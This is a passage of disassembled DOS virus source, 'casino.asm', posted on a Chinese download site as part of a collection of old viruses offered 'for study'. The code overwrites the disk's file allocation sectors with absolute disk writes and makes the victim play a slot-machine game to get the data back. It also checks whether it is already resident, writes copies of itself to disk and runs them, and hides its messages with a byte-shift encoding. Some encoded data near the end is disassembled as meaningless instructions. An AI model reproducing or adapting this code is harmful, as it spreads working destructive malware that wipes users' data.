⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 casino.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
		cmp	dh,8
		je	loc_24			; Jump if equal
		jmp	loc_36			; (0A33)
loc_24:
		call	sub_8			; (09EB)
		push	ds
		pop	es
		mov	si,613h
		mov	di,613h
		mov	cx,305h
		cld				; Clear direction
  
locloop_25:
		lodsb				; String [si] to al
		sub	al,64h			; 'd'
		stosb				; Store al to es:[di]
		loop	locloop_25		; Loop if cx > 0
  
		mov	dx,613h
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
loc_26:
		mov	ah,7
		int	21h			; DOS Services  ah=function 07h
						;  get keybd char al, no echo
		mov	byte ptr ds:data_2e,64h	; (0000:060D=0) 'd'
		nop
		mov	byte ptr ds:data_3e,78h	; (0000:060E=0) 'x'
		nop
		mov	byte ptr ds:data_4e,0B4h	; (0000:060F=0)
		nop
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dh=sec
		mov	bl,dh
		mov	bh,0
		mov	ch,0
		mov	dh,0
		add	cl,dl
		mov	ax,cx
		mov	cl,3
		div	cl			; al, ah rem = ax/reg
		mov	ds:data_5e,ah		; (0000:0610=0)
		mov	ax,dx
		mov	dl,3
		div	dl			; al, ah rem = ax/reg
		mov	ds:data_6e,ah		; (0000:0611=0)
		mov	ax,bx
		div	dl			; al, ah rem = ax/reg
		mov	ds:data_7e,ah		; (0000:0612=0)
		dec	byte ptr ds:data_1e	; (0000:060C=0)
		mov	al,ds:data_1e		; (0000:060C=0)
		add	al,30h			; '0'
		mov	dh,0Dh
		mov	dl,26h			; '&'
		mov	bx,0
		mov	ah,2
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		mov	ah,0Eh
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
loc_27:
		mov	dx,1FFFh
loc_28:
		nop
		nop
		nop
		dec	dx
		jnz	loc_28			; Jump if not zero
		mov	al,ds:data_2e		; (0000:060D=0)
		cmp	al,ds:data_5e		; (0000:0610=0)
		je	loc_29			; Jump if equal
		mov	dl,19h
		mov	al,ds:data_2e		; (0000:060D=0)
		call	sub_7			; (09C9)
		mov	al,ds:data_2e		; (0000:060D=0)
		dec	al
		mov	ds:data_2e,al		; (0000:060D=0)
loc_29:
		mov	al,ds:data_3e		; (0000:060E=0)
		cmp	al,ds:data_6e		; (0000:0611=0)
		je	loc_30			; Jump if equal
		mov	dl,21h			; '!'
		mov	al,ds:data_3e		; (0000:060E=0)
		call	sub_7			; (09C9)
		dec	byte ptr ds:data_3e	; (0000:060E=0)
loc_30:
		mov	al,ds:data_4e		; (0000:060F=0)
		cmp	al,ds:data_7e		; (0000:0612=0)
		je	loc_31			; Jump if equal
		mov	dl,29h			; ')'
		mov	al,ds:data_4e		; (0000:060F=0)
		call	sub_7			; (09C9)
		dec	byte ptr ds:data_4e	; (0000:060F=0)
loc_31:
		mov	al,ds:data_4e		; (0000:060F=0)
		cmp	al,ds:data_7e		; (0000:0612=0)
		jne	loc_27			; Jump if not equal
		mov	ah,ds:data_3e		; (0000:060E=0)
		cmp	ah,ds:data_6e		; (0000:0611=0)
		jne	loc_27			; Jump if not equal
		mov	bl,ds:data_2e		; (0000:060D=0)
		cmp	bl,ds:data_5e		; (0000:0610=0)
		jne	loc_27			; Jump if not equal
		cmp	al,0
		jne	loc_32			; Jump if not equal
		cmp	ah,0
		jne	loc_32			; Jump if not equal
		cmp	bl,0
		jne	loc_32			; Jump if not equal
		mov	dx,80Ah
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		call	sub_9			; (0A18)
		jmp	short loc_35		; (09C7)
		db	90h
loc_32:
		cmp	al,1
		jne	loc_33			; Jump if not equal
		cmp	ah,1
		jne	loc_33			; Jump if not equal
		cmp	bl,1
		jne	loc_33			; Jump if not equal
		mov	dx,88Dh
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		jmp	short loc_34		; (09BD)
		db	90h
loc_33:
		mov	al,ds:data_1e		; (0000:060C=0)
		cmp	al,0
		je	loc_34			; Jump if equal
		jmp	loc_26			; (08BF)
loc_34:
		mov	dx,8D6h
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		jmp	short loc_35		; (09C7)
		nop
loc_35:
		jmp	short loc_35		; (09C7)
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_7		proc	near
		mov	ah,0
		push	ax
		mov	dh,0Bh
		mov	ah,2
		mov	bh,0
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		pop	ax
		mov	bl,3
		div	bl			; al, ah rem = ax/reg
		mov	bl,ah
		mov	bh,0
		add	bx,609h
		mov	al,[bx]
		mov	ah,0Eh
		mov	bx,0
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		retn
sub_7		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_8		proc	near
		push	ds
		mov	bx,ds
		add	bx,1000h
		mov	ds,bx
		mov	bx,0
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	cx,50h
		mov	dx,0
		int	25h			; Absolute disk read, drive al
		popf				; Pop flags
		mov	bx,0
		mov	ds,bx
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	cx,50h
		mov	dx,0
		int	26h			; Absolute disk write, drive al
		popf				; Pop flags
		pop	ds
		retn
sub_8		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_9		proc	near
		push	ds
		mov	bx,ds
		add	bx,1000h
		mov	ds,bx
		mov	bx,0
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	cx,50h
		mov	dx,0
		int	26h			; Absolute disk write, drive al
		popf				; Pop flags
		pop	ds
		retn
sub_9		endp
  
loc_36:
		mov	bx,0
		mov	ax,4B59h
		int	21h			; DOS Services  ah=function 4Bh
						;  run progm @ds:dx, parm @es:bx
		cmp	ax,666h
		jne	loc_37			; Jump if not equal
		jmp	loc_41			; (0AF0)
loc_37:
		push	ds
		pop	es
		push	ds
		push	cs
		pop	ds
		mov	si,0
		mov	di,917h
		mov	cx,100h
		cld				; Clear direction
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	ds
		mov	ah,2Fh			; '/'
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		mov	ds:data_14e,bx		; (6AE6:0041=0)
		mov	ds:data_15e,es		; (6AE6:0043=6AE6h)
		mov	dx,4Eh
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		mov	dx,11h
		mov	cx,3Fh
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_38			; Jump if carry Set
		mov	dx,11h
		call	sub_1			; (06EE)
		cmp	dl,1
		jne	loc_38			; Jump if not equal
		call	sub_2			; (073C)
loc_38:
		call	sub_5			; (07FD)
		mov	dx,20h
		mov	cx,2
		mov	ah,3Ch			; '<'
		int	21h			; DOS Services  ah=function 3Ch
						;  create/truncate file @ ds:dx
		jc	loc_40			; Jump if carry Set
		mov	bx,ax
		mov	dx,0
		mov	cx,91Ah
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		push	ax
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		pop	ax
		cmp	ax,cx
		je	loc_39			; Jump if equal
		mov	dx,20h
		mov	ah,41h			; 'A'
		int	21h			; DOS Services  ah=function 41h
						;  delete file, name @ ds:dx
		jmp	short loc_40		; (0AD1)
		db	90h
loc_39:
		push	cs
		pop	es
		mov	bx,cs:data_8e		; (6AE6:0002=0)
		sub	bx,92Ch
		mov	cx,cs
		sub	bx,cx
		mov	ah,4Ah			; 'J'
		int	21h			; DOS Services  ah=function 4Ah
						;  change mem allocation, bx=siz
		mov	dx,20h
		push	ds
		pop	es
		mov	bx,2Dh
		mov	ax,4B00h
		int	21h			; DOS Services  ah=function 4Bh
						;  run progm @ds:dx, parm @es:bx
loc_40:
		call	sub_6			; (0813)
		push	cs
		pop	es
		mov	di,0
		mov	si,917h
		mov	cx,0FFh
		cld				; Clear direction
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	dx,ds:data_14e		; (6AE6:0041=0)
		mov	bx,ds:data_15e		; (6AE6:0043=6AE6h)
		mov	ds,bx
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
loc_41:
		push	cs
		pop	ds
		jmp	$-0F32h
		jmp	$+3DFh
		db	48h, 9Bh, 9Ch, 3Fh, 5, 0Ah
		db	5, 3, 1, 3, 0, 6Eh
		db	71h, 6Dh, 6Dh, 84h, 84h, 84h
		db	0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h
		db	0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh
		db	0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h
		db	84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h
		db	0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh
		db	84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h
		db	6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh
		db	0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h
		db	84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h
		db	0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h
		db	0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh
		db	0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h
		db	0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h
		db	0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh
		db	84h, 85h, 85h, 6Eh, 71h, 84h
		db	84h, 84h, 84h, 84h, 84h, 0ACh
		db	0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h
		db	90h, 84h, 0ADh, 84h, 0CCh, 0C5h
		db	0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h
		db	0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h
		db	84h, 0B6h, 0A5h, 0B1h, 90h, 84h
		db	0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
		db	0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh
		db	0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h
		db	84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h
		db	0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h
		db	0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh
		db	6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h
		db	0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h
		db	0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h
		db	0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h
		db	0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h
		db	92h, 6Eh, 71h, 84h, 84h, 84h
		db	84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h
		db	0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh
		db	0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h
		db	0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h
		db	0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h
		db	0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h
		db	0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h
		db	84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h
		db	0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h
		db	0B8h, 84h, 91h, 84h, 0AAh, 0B3h
		db	0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h
		db	85h, 85h, 6Eh, 71h, 6Dh, 6Dh
		db	84h, 84h, 84h, 0BDh, 0D3h, 0D9h
		db	0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h
		db	84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h
		db	0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h
		db	0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h
		db	84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h
		db	0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h
		db	6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h
		db	84h, 84h, 84h, 84h, 84h, 0A7h
		db	0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h
		db	0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h
		db	0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h
		db	0AFh, 0B4h, 0B3h, 0B8h
		db	'nqnqmmm-1'
		db	1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh
		db	2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh
		db	6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh
		db	3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh
		db	';nqmmm,1 m,1 m,1 nqmmm'
		db	84h, 84h, 84h, 84h, 0A7h, 0B6h
		db	0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h
		db	9Eh, 84h, 99h
		db	'nqqnqnmmm'
		db	0, 0, 0, 84h, 0A1h, 84h
		db	0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h
		db	0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh
		db	6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h
		db	0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h
		db	0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h
		db	0D3h, 92h, 6Eh, 71h, 6Eh, 71h
		db	6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh
		db	84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h
		db	0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh
		db	'qnqnqnqnqn'
		db	88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h
		db	0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h
		db	84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h
		db	0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh
		db	0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h
		db	84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h
		db	91h, 84h, 0C6h, 0D9h, 0D8h, 84h
		db	0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h
		db	0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h
		db	84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h
		db	84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h
		db	0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh
		db	84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh
		db	0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h
		db	0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h
		db	84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h
		db	0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h
		db	0B9h, 0B6h
loc_42:
		mov	dl,84h
		lodsw				; String [si] to ax
		mov	ax,0B384h
		mov	dl,84h
		mov	ax,0B0ADh
		mov	al,84h
		mov	ax,0B1B3h
		mov	bl,0B6h
		mov	dh,0B3h
		mov	bx,8584h
		test	ax,ds:data_33e[di]	; (6AE6:716E=0)
		mov	[bp+71h],ch
		mov	dl,0D3h
		test	ch,[bp+si-3827h]
		iret				; Interrupt return
		db	0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh
		db	0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h
		db	0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
		db	0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh
		db	0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h
		db	0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h
		db	0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh
		db	0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h
		db	0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h
		db	0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh
		db	0D2h, 84h, 85h, 88h, 6Eh, 71h
		db	0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h
		db	85h, 85h, 84h, 0BDh, 0D3h, 0D9h
		db	84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h
		db	0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h
		db	0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h
		db	0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h
		db	0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h
		db	84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h
		db	0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h
		db	0D0h, 0D7h, 84h, 92h, 92h, 92h
		db	6Eh, 71h, 88h, 0CDh, 20h, 0
  
seg_a		ends
  
  
  
		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -